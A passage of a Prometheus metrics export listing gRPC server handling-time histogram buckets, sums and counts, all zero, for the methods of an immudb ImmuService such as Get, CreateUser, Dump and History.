grpc_server_handling_seconds_bucket{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="Count",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="CreateDatabase",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="CreateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="CurrentRoot",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="DatabaseList",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="DeactivateUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handling_seconds_count{grpc_method="Dump",grpc_service="immudb.schema.ImmuService",grpc_type="server_stream"} 0 grpc_server_handling_seconds_bucket{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="Get",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="GetBatch",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="GetBatchSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="GetSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="GetUser",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="Health",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="History",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="HistorySV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="IScan",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.05"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.1"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.25"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="1"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="2.5"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="5"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="10"} 0 grpc_server_handling_seconds_bucket{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="+Inf"} 0 grpc_server_handling_seconds_sum{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_count{grpc_method="IScanSV",grpc_service="immudb.schema.ImmuService",grpc_type="unary"} 0 grpc_server_handling_seconds_bucket{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.005"} 0 grpc_server_handling_seconds_bucket{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.01"} 0 grpc_server_handling_seconds_bucket{grpc_method="Inclusion",grpc_service="immudb.schema.ImmuService",grpc_type="unary",le="0.025"} 0 